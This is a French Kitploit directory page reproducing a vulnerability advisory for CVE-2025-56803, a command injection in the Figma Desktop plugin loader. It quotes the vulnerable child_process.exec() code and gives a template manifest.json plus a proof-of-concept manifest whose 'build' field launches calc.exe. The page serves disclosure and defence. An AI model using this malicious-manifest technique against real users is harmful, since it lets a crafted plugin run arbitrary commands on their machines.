Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-56803 — Vulnérabilité d'injection de commandes OS via l'exécution de plugins dans l'application de bureau Figma | Kitploit
Outils/GitHubGitHub/yosasasutsut/cve-2025-56803
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubyosasasutsut/cve-2025-56803

CVE-2025-56803

Vulnérabilité d'injection de commandes OS via l'exécution de plugins dans l'application de bureau Figma

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-56803

Vulnérabilité d'injection de commandes OS via l'exécution de plugins dans l'application de bureau Figma

1. Vue d'ensemble

Icône Figma
  • Application : Figma Desktop Application
  • Version : 125.6.5
  • Éditeur : Figma, Inc.
  • CWE : CWE-78 : Mauvaise neutralisation des éléments spéciaux utilisés dans une commande OS ('Injection de commandes OS')
  • CVSS : 8.4
  • Vecteur : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2. Résumé

L'application de bureau Figma (v125.6.5) contient une vulnérabilité d'injection de commandes dans le chargeur de plugins.
Un manifeste de plugin malveillant (manifest.json) peut abuser du champ build, qui est transmis directement à sans validation. Cela permet l'exécution arbitraire de commandes OS dès le chargement du plugin, sans avertissements de sécurité ni invites.

child_process.exec()

3. Détails

La vulnérabilité provient du code situé dans main.js, qui importe le module child_process intégré de Node.js :

root@kitploit:~
Zlt = require("child_process")

Ensuite, si le champ build est présent dans le fichier manifest.json d'un plugin et que sa valeur est une chaîne, l'application exécute directement la valeur à l'aide de child_process.exec() sans aucune validation ni assainissement :

root@kitploit:~
if (
  s.build &&
  typeof s.build === "string" &&
  (l.path = process.env.PATH || "",
  await new Promise((g) => {
    (0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
      l.stdout = I;
      l.stderr = P;
      y && (l.buildErrCode = y.code);
      g();
    });
  }),
  l.buildErrCode
)
  return l;

Par conséquent, le fichier manifest.json suivant, contenu dans un plugin malveillant, entraînerait l'exécution de la valeur du champ build en tant que commande OS :

root@kitploit:~
{
  "name": "<NAME>",
  "id": "<ID>",
  "api": "1.0.0",
  "main": "code.js",
  "build": "<COMMAND>",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

Ce flux d'exécution est intégré dans la logique de gestion des plugins de Figma, et la présence de l'appel require("child_process") dans main.js confirme que l'exécution de commandes est directement intégrée à la logique centrale de l'application.

4. Preuve de concept (PoC)

En exécutant un plugin contenant le manifest.json malveillant suivant :

root@kitploit:~
{
  "name": "poc",
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js",
  "build": "calc.exe",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

Une fois ce plugin enregistré dans Figma et exécuté, la commande OS spécifiée (calc.exe) s'exécute immédiatement.

https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7

5. Recommandations

Bien que l'exécution du champ build soit une fonctionnalité officiellement prise en charge dans l'application de bureau Figma, l'application devrait éviter de s'appuyer sur des champs contrôlés par l'utilisateur dans manifest.json, tels que build, chaque fois que cela est possible.
Si de tels champs doivent être pris en charge, ils doivent être soumis à une validation stricte des entrées afin de prévenir l'injection de commandes.
De plus, l'utilisation de child_process.exec() de Node.js devrait être évitée, et des alternatives plus sûres avec une gestion explicite des arguments devraient plutôt être adoptées.

6. Références

  • https://www.cve.org/CVERecord?id=CVE-2025-56803
  • https://nvd.nist.gov/vuln/detail/CVE-2025-56803
  • https://www.figma.com/plugin-docs/manifest/
Télécharger l’outil